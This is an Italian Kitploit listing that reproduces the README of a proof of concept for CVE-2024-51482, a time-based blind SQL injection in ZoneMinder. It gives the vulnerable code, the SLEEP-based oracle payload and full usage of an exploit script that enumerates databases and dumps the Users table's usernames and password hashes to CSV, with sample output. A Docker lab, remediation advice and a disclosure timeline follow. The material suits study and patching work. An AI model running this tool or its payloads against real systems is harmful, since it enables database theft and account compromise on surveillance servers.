Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-51482-POC — Proof of Concept di SQL injection basata sul tempo per CVE-2024-51482 in ZoneMinder, con laboratorio Docker riproducibile ed estrazione automatica dei dati. | Kitploit
Strumenti/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

Proof of Concept di SQL injection basata sul tempo per CVE-2024-51482 in ZoneMinder, con laboratorio Docker riproducibile ed estrazione automatica dei dati.

Vedi Repository
764 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ZoneMinder PoC SQLi basata sul tempo autenticato - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza autorizzazione scritta è illegale.


Indice

  • ZoneMinder PoC SQLi basata sul tempo autenticato - CVE-2024-51482
    • Indice
    • Panoramica
    • Dettagli della vulnerabilità
      • CVE-2024-51482 — SQL Injection cieca basata sul tempo
      • Causa principale
      • Flusso dell'attacco
    • Struttura del repository
    • Requisiti
    • Installazione
      • PoC
      • Lab Docker
    • Utilizzo
  • Comportamento predefinito
  • Schermata di aiuto
  • Comandi
  • Opzioni di output
  • Riferimento flag
  • Esempio completo
  • Note
  • Lab Docker
  • Esempio di output
  • Rimedio
    • Contro questa CVE
    • Contro vulnerabilità simili
  • Cronologia della divulgazione
  • Riferimenti

  • Panoramica

    Questo repository contiene un PoC di SQL injection basata sul tempo che prende di mira ZoneMinder.

    Lo strumento consente:

    • Verifica della vulnerabilità
    • Enumerazione del database
    • Scoperta di tabelle e colonne
    • Dump completo delle tabelle
    • Esportazione CSV

    Include anche un lab Docker completamente riproducibile per test sicuri.


    Dettagli della vulnerabilità

    CVE-2024-51482 — SQL Injection cieca basata sul tempo

    • ID CVE: CVE-2024-51482
    • Punteggio CVSS v3.1: 10.0 (Critico)
    • Tipo di vulnerabilità: SQL Injection cieca basata sul tempo
    • Versioni interessate: ZoneMinder v1.37.* <= 1.37.64
    • Vettore di attacco: Endpoint autenticato (removetag)
    • Impatto: Divulgazione completa del database, compromissione dell'integrità dei dati
    • Autenticazione richiesta: Sì (un utente con privilegi bassi è sufficiente)

    Causa principale

    ZoneMinder è un'applicazione software di videosorveglianza a circuito chiuso gratuita e open source. La vulnerabilità deriva da una convalida insufficiente dell'input nell'endpoint removetag di ZoneMinder. L'input fornito dall'utente viene incorporato direttamente nelle query SQL senza una corretta sanificazione o parametrizzazione, consentendo agli aggressori di iniettare payload SQL booleani dannosi. Lo sfruttamento sfrutta:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    per dedurre i dati tramite i tempi di risposta.

    Frammento di codice vulnerabile completo da Avviso del Mantenitore GitHub:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    Flusso dell'attacco

    root@kitploit:~
    Attaccante                              Applicazione Web ZoneMinder
       │                                         │
       │  [Auth]                                 │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sessione autenticata
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               Query booleana SQL eseguita
       │                               IF(condizione, nessun ritardo, SLEEP)
       │◄────────────────────────────────────────│
       │  Risposta ritardata (oracolo temporale) │  ← condizione dedotta
       │                                         │
       │  Richieste ripetute                     │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Differenze nei tempi rivelano i caratteri │
       │                                         │
       │  Ricerca binaria per carattere          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Dati estratti (1 carattere alla volta) │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Divulgazione completa del database     │
       │                                         │
       ✓  Esfiltrazione completa dei dati tramite SQLi cieca
    

    Struttura del repository

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    Requisiti

    • Python 3.8+
    • requests
    • Docker e docker-compose (per l'ambiente lab)

    Installazione

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Lab Docker

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # Configurare le variabili d'ambiente
    docker compose up -d
    

    Utilizzo

    Comportamento predefinito

    Senza alcun flag, lo strumento si autenticherà al target, ne verificherà la vulnerabilità e, se vulnerabile, eseguirà il dump delle colonne ID, Username, Password, Name ed Email dalla tabella zm.Users (comando dump-users).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    Schermata di aiuto

    root@kitploit:~
    python exploit.py -h
    

    Comandi

    check

    Controlla solo se il target è vulnerabile.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    Esegue il dump delle colonne ID, Username, Password, Name ed Email dalla tabella zm.Users. Comando predefinito se non ne viene specificato nessuno.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    Elenca tutti i database.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    Elenca le tabelle in un database specificato.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    Elenca le colonne in una tabella specificata.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    Esegue il dump di tutti i dati da una tabella specificata.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    È anche possibile specificare le colonne di cui fare il dump (default: tutte):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    Opzioni di output

    Disabilita output nel terminale

    root@kitploit:~
    --no-display
    

    Esporta in CSV

    Se il file non esiste, verrà creato. Se esiste già, i nuovi risultati verranno aggiunti.

    root@kitploit:~
    --outfile results.csv
    

    Riferimento flag

    Target e autenticazione

    FlagDescrizioneEsempio
    -t, --targetURL base del target-t http://localhost:8080
    -u, --userNome utente per l'autenticazione-u admin
    -p, --passwordPassword per l'autenticazione-p admin
    --cookieUsa un cookie ZMSESSID esistente invece di fare login--cookie abc123...

    Comandi principali

    ComandoDescrizioneEsempio
    checkVerifica se il target è vulnerabile (SQLi temporale)check
    dump-usersEsegue il dump diretto della tabella zm.Usersdump-users
    list-dbElenca tutti i databaselist-db
    list-tablesElenca le tabelle da un databaselist-tables --db zm
    list-columnsElenca le colonne da una tabellalist-columns --db zm --table Users
    dump-tableEsegue il dump di una tabella specificadump-table --db zm --table Users

    Opzioni dei comandi

    FlagDescrizioneObbligatorioEsempio
    --dbNome del databaseSì (per tabelle/colonne)--db zm
    --tableNome della tabellaSì (per colonne/dump)--table Users
    --columnsElenco separato da virgole di colonne da scaricareOpzionale--columns Username,Password

    Prestazioni e sfruttamento

    FlagDescrizioneDefaultEsempio
    --threadsNumero di thread di estrazione concorrenti5--threads 6
    --delayRitardo utilizzato per SQLi basata sul tempo3--delay 2
    --no-checkSalta il controllo della vulnerabilità prima dello sfruttamentoFalse--no-check

    Opzioni di output

    FlagDescrizioneEsempio
    --outfileSalva l'output in un file CSV--outfile results.csv
    --no-displayDisabilita l'output nel terminale--no-display

    Logging e visualizzazione

    FlagDescrizioneDefaultEsempio
    -v, --verboseAbilita il logging di debugFalse-v
    --log-filePercorso del file di loglogs/exploit.log--log-file out.log
    --no-colorDisabilita l'output coloratoFalse--no-color

    Esempio completo

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    Note

    • Tutti i comandi richiedono autenticazione (cookie o credenziali).
    • dump-users è una scorciatoia per eseguire il dump della tabella zm.Users.
    • Il multi-threading accelera notevolmente l'estrazione ma può aumentare il carico sul target. 5 thread e un ritardo di 3 secondi sono valori predefiniti sicuri. Usare valori personalizzati con cautela.
    • L'output CSV supporta sia dati strutturati che piatti (ad es. elenco di database vs dump completi di tabelle).
    • Usare --no-check solo se si è certi che il target sia vulnerabile.

    Lab Docker

    Il file docker-compose.yml incluso configura un'istanza vulnerabile di ZoneMinder.

    root@kitploit:~
    cp .env.example .env  # Configurare le variabili d'ambiente
    docker compose up -d
    

    Accedere all'interfaccia web su http://localhost:8080/ (o sulla porta personalizzata). Le credenziali predefinite sono admin:admin. È quindi possibile eseguire l'exploit contro questa istanza locale per test.


    Esempio di output

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] URL del target: http://localhost:8080/
    [∗] Modulo: dump-table
    [∗] L'output verrà salvato in: ./out.csv
    
    [∗] Tentativo di login con autenticazione nome utente/password
     🡲  Credenziali: admin:admin
    [+] Autenticazione riuscita come utente admin
    
    [∗] Verifica della vulnerabilità del target...
    [+] Il target sembra essere vulnerabile (il tempo di risposta indica un'iniezione riuscita).
    
    [∗] Dump del contenuto della tabella zm.Users...
    [+] Colonne trovate: Username, Password
    [∗] Recupero del numero di righe nella tabella...
    [+] La tabella contiene 2 righe. Avvio del dump...
    
    [∗] Progresso: 5/5 | admin
    [∗] Progresso: 60/60 | $2h$12$NHZs...
    [+] Riga 1 recuperata: admin, $2h$12$NHZs...
    
    [∗] Progresso: 4/4 | flag
    [∗] Progresso: 60/60 | $2y$10$1Ei....
    [+] Riga 2 recuperata: flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] Risultati scritti in ./out.csv
    [+] Lavoro completato. Ciao!
    

    Rimedio

    Contro questa CVE

    • Aggiornare a ZoneMinder v1.37.65 o successiva, che include una correzione per CVE-2024-51482.

    Contro vulnerabilità simili

    • Implementare una corretta convalida e sanificazione dell'input su tutti i dati forniti dall'utente.
    • Utilizzare query parametrizzate o istruzioni preparate per prevenire SQL injection.

    Cronologia della divulgazione

    • 2024-10-31: L'utente Entropt e l'utente connortechnology divulgano la vulnerabilità sul GitHub di ZoneMinder.
    • 2024-11-01: La patch viene committata nel repository di ZoneMinder.
    • 2025-02-13: Viene rilasciata la versione 1.37.65.

    Riferimenti

    • Dettagli CVE-2024-51482
    • Voce NIST NVD
    • Sito ufficiale ZoneMinder
    • Avviso di sicurezza del mantainer su GitHub ZoneMinder
    • Commit di correzione nel GitHub di ZoneMinder
    • Cheat Sheet OWASP per la prevenzione delle SQL Injection
    Scarica lo strumento